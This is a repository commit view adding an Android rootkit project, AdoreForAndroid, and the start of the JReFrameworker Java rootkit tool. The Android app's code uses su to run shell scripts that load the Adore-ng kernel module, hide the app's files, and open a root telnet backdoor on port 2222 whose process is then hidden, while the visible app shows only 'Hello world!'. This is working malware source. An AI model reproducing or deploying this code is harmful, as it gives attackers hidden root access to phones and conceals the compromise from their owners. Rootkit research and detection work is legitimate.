Update
8
Android/AdoreForAndroid/.classpath
Normal file
@ -0,0 +1,8 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<classpath>
|
||||
<classpathentry kind="src" path="src"/>
|
||||
<classpathentry kind="src" path="gen"/>
|
||||
<classpathentry kind="con" path="com.android.ide.eclipse.adt.ANDROID_FRAMEWORK"/>
|
||||
<classpathentry kind="con" path="com.android.ide.eclipse.adt.LIBRARIES"/>
|
||||
<classpathentry kind="output" path="bin/classes"/>
|
||||
</classpath>
|
22
Android/AdoreForAndroid/.gitattributes
vendored
Normal file
@ -0,0 +1,22 @@
|
||||
# Auto detect text files and perform LF normalization
|
||||
* text=auto
|
||||
|
||||
# Custom for Visual Studio
|
||||
*.cs diff=csharp
|
||||
*.sln merge=union
|
||||
*.csproj merge=union
|
||||
*.vbproj merge=union
|
||||
*.fsproj merge=union
|
||||
*.dbproj merge=union
|
||||
|
||||
# Standard to msysgit
|
||||
*.doc diff=astextplain
|
||||
*.DOC diff=astextplain
|
||||
*.docx diff=astextplain
|
||||
*.DOCX diff=astextplain
|
||||
*.dot diff=astextplain
|
||||
*.DOT diff=astextplain
|
||||
*.pdf diff=astextplain
|
||||
*.PDF diff=astextplain
|
||||
*.rtf diff=astextplain
|
||||
*.RTF diff=astextplain
|
36
Android/AdoreForAndroid/.gitignore
vendored
Normal file
@ -0,0 +1,36 @@
|
||||
# Windows image file caches
|
||||
Thumbs.db
|
||||
ehthumbs.db
|
||||
|
||||
# Folder config file
|
||||
Desktop.ini
|
||||
|
||||
# Recycle Bin used on file shares
|
||||
$RECYCLE.BIN/
|
||||
|
||||
# Windows Installer files
|
||||
*.cab
|
||||
*.msi
|
||||
*.msm
|
||||
*.msp
|
||||
|
||||
# =========================
|
||||
# Operating System Files
|
||||
# =========================
|
||||
|
||||
# OSX
|
||||
# =========================
|
||||
|
||||
.DS_Store
|
||||
.AppleDouble
|
||||
.LSOverride
|
||||
|
||||
# Icon must ends with two \r.
|
||||
Icon
|
||||
|
||||
# Thumbnails
|
||||
._*
|
||||
|
||||
# Files that might appear on external disk
|
||||
.Spotlight-V100
|
||||
.Trashes
|
33
Android/AdoreForAndroid/.project
Normal file
@ -0,0 +1,33 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<projectDescription>
|
||||
<name>adore</name>
|
||||
<comment></comment>
|
||||
<projects>
|
||||
</projects>
|
||||
<buildSpec>
|
||||
<buildCommand>
|
||||
<name>com.android.ide.eclipse.adt.ResourceManagerBuilder</name>
|
||||
<arguments>
|
||||
</arguments>
|
||||
</buildCommand>
|
||||
<buildCommand>
|
||||
<name>com.android.ide.eclipse.adt.PreCompilerBuilder</name>
|
||||
<arguments>
|
||||
</arguments>
|
||||
</buildCommand>
|
||||
<buildCommand>
|
||||
<name>org.eclipse.jdt.core.javabuilder</name>
|
||||
<arguments>
|
||||
</arguments>
|
||||
</buildCommand>
|
||||
<buildCommand>
|
||||
<name>com.android.ide.eclipse.adt.ApkBuilder</name>
|
||||
<arguments>
|
||||
</arguments>
|
||||
</buildCommand>
|
||||
</buildSpec>
|
||||
<natures>
|
||||
<nature>com.android.ide.eclipse.adt.AndroidNature</nature>
|
||||
<nature>org.eclipse.jdt.core.javanature</nature>
|
||||
</natures>
|
||||
</projectDescription>
|
@ -0,0 +1,4 @@
|
||||
eclipse.preferences.version=1
|
||||
org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.6
|
||||
org.eclipse.jdt.core.compiler.compliance=1.6
|
||||
org.eclipse.jdt.core.compiler.source=1.6
|
32
Android/AdoreForAndroid/AndroidManifest.xml
Normal file
@ -0,0 +1,32 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
package="com.example.adore"
|
||||
android:versionCode="1"
|
||||
android:versionName="1.0" >
|
||||
|
||||
<uses-sdk
|
||||
android:minSdkVersion="8"
|
||||
android:targetSdkVersion="16" />
|
||||
|
||||
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
|
||||
<uses-permission android:name="android.permission.WRITE_INTERNAL_STORAGE" />
|
||||
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
|
||||
<uses-permission android:name="android.permission.SET_DEBUG_APP"/>
|
||||
|
||||
<application
|
||||
android:allowBackup="true"
|
||||
android:icon="@drawable/ic_launcher"
|
||||
android:label="@string/app_name"
|
||||
android:theme="@style/AppTheme" >
|
||||
<activity
|
||||
android:name="com.example.adore.MainActivity"
|
||||
android:label="@string/app_name" >
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.MAIN" />
|
||||
|
||||
<category android:name="android.intent.category.LAUNCHER" />
|
||||
</intent-filter>
|
||||
</activity>
|
||||
</application>
|
||||
|
||||
</manifest>
|
9
Android/AdoreForAndroid/README.md
Normal file
@ -0,0 +1,9 @@
|
||||
AdoreForAndroid
|
||||
===============
|
||||
|
||||
Transplant adore rootkit for Android platform.
|
||||
In this project, I transplant Adore-ng rootkit to Android platform. After installing this app on your phone, Adore will
|
||||
be installed into your system as a kernel module, and hooks system calls.
|
||||
By using Adore, this app can open ports on your device as backdoor, and also hide any files and ports from users.
|
||||
For more details you can refer to the presentation folder.
|
||||
|
BIN
Android/AdoreForAndroid/assets/adore-ng.ko
Normal file
BIN
Android/AdoreForAndroid/assets/ava
Normal file
8
Android/AdoreForAndroid/assets/script1
Normal file
@ -0,0 +1,8 @@
|
||||
#! /system/bin/sh
|
||||
|
||||
touch adore-ng.ko
|
||||
touch ava
|
||||
touch script2
|
||||
chmod 777 adore-ng.ko
|
||||
chmod 777 ava
|
||||
chmod 777 script2
|
10
Android/AdoreForAndroid/assets/script2
Normal file
@ -0,0 +1,10 @@
|
||||
#! /system/bin/sh
|
||||
|
||||
insmod adore-ng.ko
|
||||
./ava h adore-ng.ko
|
||||
./ava h ava
|
||||
./ava h script1
|
||||
./ava h script2
|
||||
busybox telnetd -l /system/bin/sh -p 2222
|
||||
var=`busybox ps | grep -m 1 telnet | cut -f2 -d " "`
|
||||
./ava i $var
|
32
Android/AdoreForAndroid/bin/AndroidManifest.xml
Normal file
@ -0,0 +1,32 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
package="com.example.adore"
|
||||
android:versionCode="1"
|
||||
android:versionName="1.0" >
|
||||
|
||||
<uses-sdk
|
||||
android:minSdkVersion="8"
|
||||
android:targetSdkVersion="16" />
|
||||
|
||||
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
|
||||
<uses-permission android:name="android.permission.WRITE_INTERNAL_STORAGE" />
|
||||
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
|
||||
<uses-permission android:name="android.permission.SET_DEBUG_APP"/>
|
||||
|
||||
<application
|
||||
android:allowBackup="true"
|
||||
android:icon="@drawable/ic_launcher"
|
||||
android:label="@string/app_name"
|
||||
android:theme="@style/AppTheme" >
|
||||
<activity
|
||||
android:name="com.example.adore.MainActivity"
|
||||
android:label="@string/app_name" >
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.MAIN" />
|
||||
|
||||
<category android:name="android.intent.category.LAUNCHER" />
|
||||
</intent-filter>
|
||||
</activity>
|
||||
</application>
|
||||
|
||||
</manifest>
|
BIN
Android/AdoreForAndroid/bin/classes/com/example/adore/R$id.class
Normal file
BIN
Android/AdoreForAndroid/bin/classes/com/example/adore/R.class
Normal file
3
Android/AdoreForAndroid/bin/jarlist.cache
Normal file
@ -0,0 +1,3 @@
|
||||
# cache for current jar dependecy. DO NOT EDIT.
|
||||
# format is <lastModified> <length> <SHA-1> <path>
|
||||
# Encoding is UTF-8
|
@ -0,0 +1,6 @@
|
||||
/** Automatically generated file. DO NOT MODIFY */
|
||||
package com.example.adore;
|
||||
|
||||
public final class BuildConfig {
|
||||
public final static boolean DEBUG = true;
|
||||
}
|
58
Android/AdoreForAndroid/gen/com/example/adore/R.java
Normal file
@ -0,0 +1,58 @@
|
||||
/* AUTO-GENERATED FILE. DO NOT MODIFY.
|
||||
*
|
||||
* This class was automatically generated by the
|
||||
* aapt tool from the resource data it found. It
|
||||
* should not be modified by hand.
|
||||
*/
|
||||
|
||||
package com.example.adore;
|
||||
|
||||
public final class R {
|
||||
public static final class attr {
|
||||
}
|
||||
public static final class drawable {
|
||||
public static final int ic_launcher=0x7f020000;
|
||||
}
|
||||
public static final class id {
|
||||
public static final int menu_settings=0x7f070000;
|
||||
}
|
||||
public static final class layout {
|
||||
public static final int activity_main=0x7f030000;
|
||||
}
|
||||
public static final class menu {
|
||||
public static final int activity_main=0x7f060000;
|
||||
}
|
||||
public static final class string {
|
||||
public static final int app_name=0x7f040000;
|
||||
public static final int hello_world=0x7f040001;
|
||||
public static final int menu_settings=0x7f040002;
|
||||
}
|
||||
public static final class style {
|
||||
/**
|
||||
Base application theme, dependent on API level. This theme is replaced
|
||||
by AppBaseTheme from res/values-vXX/styles.xml on newer devices.
|
||||
|
||||
|
||||
Theme customizations available in newer API levels can go in
|
||||
res/values-vXX/styles.xml, while customizations related to
|
||||
backward-compatibility can go here.
|
||||
|
||||
|
||||
Base application theme for API 11+. This theme completely replaces
|
||||
AppBaseTheme from res/values/styles.xml on API 11+ devices.
|
||||
|
||||
API 11 theme customizations can go here.
|
||||
|
||||
Base application theme for API 14+. This theme completely replaces
|
||||
AppBaseTheme from BOTH res/values/styles.xml and
|
||||
res/values-v11/styles.xml on API 14+ devices.
|
||||
|
||||
API 14 theme customizations can go here.
|
||||
*/
|
||||
public static final int AppBaseTheme=0x7f050000;
|
||||
/** Application theme.
|
||||
All customizations that are NOT specific to a particular API-level can go here.
|
||||
*/
|
||||
public static final int AppTheme=0x7f050001;
|
||||
}
|
||||
}
|
BIN
Android/AdoreForAndroid/ic_launcher-web.png
Normal file
After Width: | Height: | Size: 54 KiB |
BIN
Android/AdoreForAndroid/libs/android-support-v4.jar
Normal file
BIN
Android/AdoreForAndroid/presentation/Adore-ng - Part2.pptx
Normal file
BIN
Android/AdoreForAndroid/presentation/Adore-ng Rootkit Transplant and Detection Tool Development.doc
Normal file
BIN
Android/AdoreForAndroid/presentation/Adore-ng.pptx
Normal file
20
Android/AdoreForAndroid/proguard-project.txt
Normal file
@ -0,0 +1,20 @@
|
||||
# To enable ProGuard in your project, edit project.properties
|
||||
# to define the proguard.config property as described in that file.
|
||||
#
|
||||
# Add project specific ProGuard rules here.
|
||||
# By default, the flags in this file are appended to flags specified
|
||||
# in ${sdk.dir}/tools/proguard/proguard-android.txt
|
||||
# You can edit the include path and order by changing the ProGuard
|
||||
# include property in project.properties.
|
||||
#
|
||||
# For more details, see
|
||||
# http://developer.android.com/guide/developing/tools/proguard.html
|
||||
|
||||
# Add any project specific keep options here:
|
||||
|
||||
# If your project uses WebView with JS, uncomment the following
|
||||
# and specify the fully qualified class name to the JavaScript interface
|
||||
# class:
|
||||
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
|
||||
# public *;
|
||||
#}
|
14
Android/AdoreForAndroid/project.properties
Normal file
@ -0,0 +1,14 @@
|
||||
# This file is automatically generated by Android Tools.
|
||||
# Do not modify this file -- YOUR CHANGES WILL BE ERASED!
|
||||
#
|
||||
# This file must be checked in Version Control Systems.
|
||||
#
|
||||
# To customize properties used by the Ant build system edit
|
||||
# "ant.properties", and override values to adapt the script to your
|
||||
# project structure.
|
||||
#
|
||||
# To enable ProGuard to shrink and obfuscate your code, uncomment this (available properties: sdk.dir, user.home):
|
||||
#proguard.config=${sdk.dir}/tools/proguard/proguard-android.txt:proguard-project.txt
|
||||
|
||||
# Project target.
|
||||
target=android-16
|
BIN
Android/AdoreForAndroid/res/drawable-hdpi/ic_launcher.png
Normal file
After Width: | Height: | Size: 8.0 KiB |
BIN
Android/AdoreForAndroid/res/drawable-ldpi/ic_launcher.png
Normal file
After Width: | Height: | Size: 2.5 KiB |
BIN
Android/AdoreForAndroid/res/drawable-mdpi/ic_launcher.png
Normal file
After Width: | Height: | Size: 4.0 KiB |
BIN
Android/AdoreForAndroid/res/drawable-xhdpi/ic_launcher.png
Normal file
After Width: | Height: | Size: 13 KiB |
14
Android/AdoreForAndroid/res/layout/activity_main.xml
Normal file
@ -0,0 +1,14 @@
|
||||
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
xmlns:tools="http://schemas.android.com/tools"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
tools:context=".MainActivity" >
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_centerHorizontal="true"
|
||||
android:layout_centerVertical="true"
|
||||
android:text="@string/hello_world" />
|
||||
|
||||
</RelativeLayout>
|
9
Android/AdoreForAndroid/res/menu/activity_main.xml
Normal file
@ -0,0 +1,9 @@
|
||||
<menu xmlns:android="http://schemas.android.com/apk/res/android" >
|
||||
|
||||
<item
|
||||
android:id="@+id/menu_settings"
|
||||
android:orderInCategory="100"
|
||||
android:showAsAction="never"
|
||||
android:title="@string/menu_settings"/>
|
||||
|
||||
</menu>
|
11
Android/AdoreForAndroid/res/values-v11/styles.xml
Normal file
@ -0,0 +1,11 @@
|
||||
<resources>
|
||||
|
||||
<!--
|
||||
Base application theme for API 11+. This theme completely replaces
|
||||
AppBaseTheme from res/values/styles.xml on API 11+ devices.
|
||||
-->
|
||||
<style name="AppBaseTheme" parent="android:Theme.Holo.Light">
|
||||
<!-- API 11 theme customizations can go here. -->
|
||||
</style>
|
||||
|
||||
</resources>
|
12
Android/AdoreForAndroid/res/values-v14/styles.xml
Normal file
@ -0,0 +1,12 @@
|
||||
<resources>
|
||||
|
||||
<!--
|
||||
Base application theme for API 14+. This theme completely replaces
|
||||
AppBaseTheme from BOTH res/values/styles.xml and
|
||||
res/values-v11/styles.xml on API 14+ devices.
|
||||
-->
|
||||
<style name="AppBaseTheme" parent="android:Theme.Holo.Light.DarkActionBar">
|
||||
<!-- API 14 theme customizations can go here. -->
|
||||
</style>
|
||||
|
||||
</resources>
|
8
Android/AdoreForAndroid/res/values/strings.xml
Normal file
@ -0,0 +1,8 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
|
||||
<string name="app_name">adore</string>
|
||||
<string name="hello_world">Hello world!</string>
|
||||
<string name="menu_settings">Settings</string>
|
||||
|
||||
</resources>
|
20
Android/AdoreForAndroid/res/values/styles.xml
Normal file
@ -0,0 +1,20 @@
|
||||
<resources>
|
||||
|
||||
<!--
|
||||
Base application theme, dependent on API level. This theme is replaced
|
||||
by AppBaseTheme from res/values-vXX/styles.xml on newer devices.
|
||||
-->
|
||||
<style name="AppBaseTheme" parent="android:Theme.Light">
|
||||
<!--
|
||||
Theme customizations available in newer API levels can go in
|
||||
res/values-vXX/styles.xml, while customizations related to
|
||||
backward-compatibility can go here.
|
||||
-->
|
||||
</style>
|
||||
|
||||
<!-- Application theme. -->
|
||||
<style name="AppTheme" parent="AppBaseTheme">
|
||||
<!-- All customizations that are NOT specific to a particular API-level can go here. -->
|
||||
</style>
|
||||
|
||||
</resources>
|
325
Android/AdoreForAndroid/src/com/example/adore/MainActivity.java
Normal file
@ -0,0 +1,325 @@
|
||||
package com.example.adore;
|
||||
|
||||
import java.io.File;
|
||||
import java.io.FileInputStream;
|
||||
import java.io.FileNotFoundException;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.io.InputStreamReader;
|
||||
import java.io.OutputStream;
|
||||
import java.io.Reader;
|
||||
|
||||
import android.app.Activity;
|
||||
import android.os.Bundle;
|
||||
import android.util.Log;
|
||||
import android.view.Menu;
|
||||
|
||||
public class MainActivity extends Activity {
|
||||
private void copyBigDataBase1() {
|
||||
InputStream myInput = null;
|
||||
OutputStream myOutput = null;
|
||||
String script1 = "script1";
|
||||
String outFileName = "/script1";
|
||||
|
||||
//Transfer script1
|
||||
try {
|
||||
myOutput = new FileOutputStream(outFileName);
|
||||
} catch (FileNotFoundException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
}
|
||||
Log.i("TAG", "After open dest script1 file");
|
||||
|
||||
try {
|
||||
myInput = this.getAssets().open(script1);
|
||||
} catch (IOException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
}
|
||||
Log.i("TAG", "After open script1 file in assets");
|
||||
|
||||
byte[] buffer = new byte[1024];
|
||||
int length;
|
||||
|
||||
try {
|
||||
while ((length = myInput.read(buffer)) > 0) {
|
||||
myOutput.write(buffer, 0, length);
|
||||
}
|
||||
} catch (IOException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
}
|
||||
Log.i("TAG", "After transfer script1 file");
|
||||
|
||||
try {
|
||||
myOutput.flush();
|
||||
} catch (IOException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
try {
|
||||
myOutput.close();
|
||||
} catch (IOException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
try {
|
||||
myInput.close();
|
||||
} catch (IOException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
private void copyBigDataBase2() {
|
||||
InputStream myInput = null;
|
||||
OutputStream myOutput = null;
|
||||
String kernelModu = "adore-ng.ko";
|
||||
String ava = "ava";
|
||||
String script2 = "script2";
|
||||
String outFileName1 = "/adore-ng.ko";
|
||||
String outFileName2 = "/ava";
|
||||
String outFileName3 = "/script2";
|
||||
|
||||
//Transfer adore-ng.ko
|
||||
try {
|
||||
myOutput = new FileOutputStream(outFileName1);
|
||||
} catch (FileNotFoundException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
}
|
||||
Log.i("TAG", "After open dest adore.ko file");
|
||||
|
||||
try {
|
||||
myInput = this.getAssets().open(kernelModu);
|
||||
} catch (IOException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
}
|
||||
Log.i("TAG", "After open adore.ko file in assets");
|
||||
|
||||
byte[] buffer1 = new byte[1024];
|
||||
int length1;
|
||||
|
||||
try {
|
||||
while ((length1 = myInput.read(buffer1)) > 0) {
|
||||
myOutput.write(buffer1, 0, length1);
|
||||
}
|
||||
} catch (IOException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
}
|
||||
Log.i("TAG", "After transfer adore.ko file");
|
||||
|
||||
try {
|
||||
myOutput.flush();
|
||||
} catch (IOException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
try {
|
||||
myOutput.close();
|
||||
} catch (IOException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
try {
|
||||
myInput.close();
|
||||
} catch (IOException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
//Transfer ava file
|
||||
try {
|
||||
myOutput = new FileOutputStream(outFileName2);
|
||||
} catch (FileNotFoundException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
}
|
||||
Log.i("TAG", "After open dest ava file");
|
||||
|
||||
try {
|
||||
myInput = this.getAssets().open(ava);
|
||||
} catch (IOException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
}
|
||||
Log.i("TAG", "After open ava file in assets");
|
||||
|
||||
byte[] buffer2 = new byte[1024];
|
||||
int length2;
|
||||
|
||||
try {
|
||||
while ((length2 = myInput.read(buffer2)) > 0) {
|
||||
myOutput.write(buffer2, 0, length2);
|
||||
}
|
||||
} catch (IOException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
}
|
||||
Log.i("TAG", "After transfer ava file");
|
||||
|
||||
try {
|
||||
myOutput.flush();
|
||||
} catch (IOException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
try {
|
||||
myOutput.close();
|
||||
} catch (IOException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
try {
|
||||
myInput.close();
|
||||
} catch (IOException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
//Transfer script2 file
|
||||
try {
|
||||
myOutput = new FileOutputStream(outFileName3);
|
||||
} catch (FileNotFoundException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
}
|
||||
Log.i("TAG", "After open dest script2 file");
|
||||
|
||||
try {
|
||||
myInput = this.getAssets().open(script2);
|
||||
} catch (IOException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
}
|
||||
Log.i("TAG", "After open script2 file in assets");
|
||||
|
||||
byte[] buffer3 = new byte[1024];
|
||||
int length3;
|
||||
|
||||
try {
|
||||
while ((length3 = myInput.read(buffer3)) > 0) {
|
||||
myOutput.write(buffer3, 0, length3);
|
||||
}
|
||||
} catch (IOException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
}
|
||||
Log.i("TAG", "After transfer script2 file");
|
||||
|
||||
try {
|
||||
myOutput.flush();
|
||||
} catch (IOException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
try {
|
||||
myOutput.close();
|
||||
} catch (IOException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
try {
|
||||
myInput.close();
|
||||
} catch (IOException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
class myThread extends Thread {
|
||||
public void run() {
|
||||
String cmd1[] = {"su", "-c", "touch script1"};
|
||||
try {
|
||||
Runtime.getRuntime().exec(cmd1);
|
||||
} catch (IOException e1) {
|
||||
// TODO Auto-generated catch block
|
||||
e1.printStackTrace();
|
||||
}
|
||||
Log.i("TAG", "After touch script1");
|
||||
try {
|
||||
Thread.currentThread().sleep(5000);
|
||||
} catch (InterruptedException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
|
||||
String cmd2[] = {"su", "-c", "chmod 777 script1"};
|
||||
try {
|
||||
Runtime.getRuntime().exec(cmd2);
|
||||
} catch (IOException e1) {
|
||||
// TODO Auto-generated catch block
|
||||
e1.printStackTrace();
|
||||
}
|
||||
Log.i("TAG", "After chmod script1");
|
||||
try {
|
||||
Thread.currentThread().sleep(5000);
|
||||
} catch (InterruptedException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
|
||||
copyBigDataBase1();
|
||||
Log.i("TAG", "After copy script1");
|
||||
|
||||
|
||||
String cmd3[] = {"su", "-c", "./script1"};
|
||||
try {
|
||||
Runtime.getRuntime().exec(cmd3);
|
||||
} catch (IOException e1) {
|
||||
// TODO Auto-generated catch block
|
||||
e1.printStackTrace();
|
||||
}
|
||||
Log.i("TAG", "After exec script1");
|
||||
try {
|
||||
Thread.currentThread().sleep(5000);
|
||||
} catch (InterruptedException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
|
||||
copyBigDataBase2();
|
||||
Log.i("TAG", "After copy adore-ng.ko ava script2");
|
||||
|
||||
|
||||
String cmd7[] = {"su", "-c", "./script2"};
|
||||
try {
|
||||
Runtime.getRuntime().exec(cmd7);
|
||||
} catch (IOException e1) {
|
||||
// TODO Auto-generated catch block
|
||||
e1.printStackTrace();
|
||||
}
|
||||
Log.i("TAG", "After execute script2");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onCreate(Bundle savedInstanceState) {
|
||||
super.onCreate(savedInstanceState);
|
||||
setContentView(R.layout.activity_main);
|
||||
|
||||
myThread tt = new myThread();
|
||||
tt.start();
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean onCreateOptionsMenu(Menu menu) {
|
||||
// Inflate the menu; this adds items to the action bar if it is present.
|
||||
getMenuInflater().inflate(R.menu.activity_main, menu);
|
||||
return true;
|
||||
}
|
||||
}
|
6
Cross Platform/Rootkits/JReFrameworker/.gitignore
vendored
Normal file
@ -0,0 +1,6 @@
|
||||
.DS_Store
|
||||
|
||||
*.class
|
||||
|
||||
# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml
|
||||
hs_err_pid*
|
8
Cross Platform/Rootkits/JReFrameworker/CREDITS
Normal file
@ -0,0 +1,8 @@
|
||||
Icon: Sure That Real Designers Are Able To Create An Improved Version
|
||||
Credit: speichern-unter.net
|
||||
License: CC BY 3.0
|
||||
Reference: http://www.iconshut.com/sure-that-real-designers-are-able-to-create-an-improved-version--icons/dT1hSFIwY0RvdkwzTndaV2xqYUdWeWJpMTFiblJsY2k1dVpYUXZabWxzWlhNdmMyRjJaV0Z6WHpVdUxuQnVad3x1cj1odHRwczovL2ZvcnVtLmtkZS5vcmcvdmlld3RvcGljLnBocD9mPTI4NSZhbXA7dD0xMjM3Njd8dz0yNzV8aD0yNzV8dD1wbmd8/, https://forum.kde.org/viewtopic.php?f=285&t=123767
|
||||
|
||||
Icon: Java Evil Edition
|
||||
Credit: Jackal von ÖRF?
|
||||
Reference: http://thedailywtf.com/articles/Classics-Week-The-Call-of-Codethulhu
|
22
Cross Platform/Rootkits/JReFrameworker/LICENSE
Normal file
@ -0,0 +1,22 @@
|
||||
The MIT License (MIT)
|
||||
|
||||
Copyright (c) 2017 Ben Holland
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
6
Cross Platform/Rootkits/JReFrameworker/README.md
Normal file
@ -0,0 +1,6 @@
|
||||
# JReFrameworker
|
||||
[![Join the chat at https://gitter.im/JReFrameworker](https://badges.gitter.im/JReFrameworker.svg)](https://gitter.im/JReFrameworker/support)
|
||||
|
||||
A practical tool for creating Managed Code Rootkits (MCRs) in the Java Runtime Environment or general purpose bytecode manipulation.
|
||||
|
||||
For more details visit: [jreframeworker.com](https://jreframeworker.com/)
|
49
Cross Platform/Rootkits/JReFrameworker/REFERENCES.md
Normal file
@ -0,0 +1,49 @@
|
||||
# References
|
||||
This is a just running list of useful references found during the development of this project.
|
||||
|
||||
## Java/JVM Talks
|
||||
- [invokedynamic for Mere Mortals](https://www.youtube.com/watch?v=Q5mVy0BAxG0#t=6h15m30s)
|
||||
- [The Adventurous Developer’s Guide to JVM Languages](https://www.youtube.com/watch?v=Q5mVy0BAxG0#t=7h44m20s)
|
||||
- [Black Hat USA 2002 - Security Aspects in Java Bytecode Engineering](https://www.youtube.com/watch?v=DYY0FSnaQXE)
|
||||
- [Black Hat USA 2012 - Recent Java Exploitation Trends and Malware](https://www.youtube.com/watch?v=5JN65JZmHjM)
|
||||
- [Black Hat USA 2013 - Java Every-Days: Exploiting Software Running on 3 Billion Devices](https://www.youtube.com/watch?v=HO0CkhndCQQ)
|
||||
|
||||
## Runtime Patching
|
||||
- [Rubah is a Dynamic Software Updating (DSU) system for Java that works on stock JVMs](https://github.com/plum-umd/rubah), [Quick Start](http://web.ist.utl.pt/~luis.pina/oopsla14/aec/getting-started.html), [Steps](http://web.ist.utl.pt/~luis.pina/oopsla14/aec/step-by-step.html), [Slides](https://www.infoq.com/presentations/rubah), [Paper](http://www.cs.umd.edu/~mwh/papers/rubah-oopsla14.pdf)
|
||||
- [Java Geeks Using the BootClasspath - Tweaking the Java Runtime API](http://www.tedneward.com/files/Papers/BootClasspath/BootClasspath.pdf)
|
||||
- [Covert Java: Techniques for Decompiling, Patching, and Reverse Engineering](http://www.amazon.com/gp/product/0672326388/ref=as_li_tl?ie=UTF8&camp=1789&creative=390957&creativeASIN=0672326388&linkCode=as2&tag=zombiest-20&linkId=6WARWI6KSNMYLBWS)
|
||||
- [-Xbootclasspath Oracle Docs](https://docs.oracle.com/cd/E15289_01/doc.40/e15062/optionx.htm#i1018570)
|
||||
- Hotpatching a Java 6 Application ([Part 1](http://www.fasterj.com/articles/hotpatch1.shtml) and [Part 2](http://www.fasterj.com/articles/hotpatch2.shtml))
|
||||
- [Java Endorsed Standards Override Mechanism](https://docs.oracle.com/javase/7/docs/technotes/guides/standards/)
|
||||
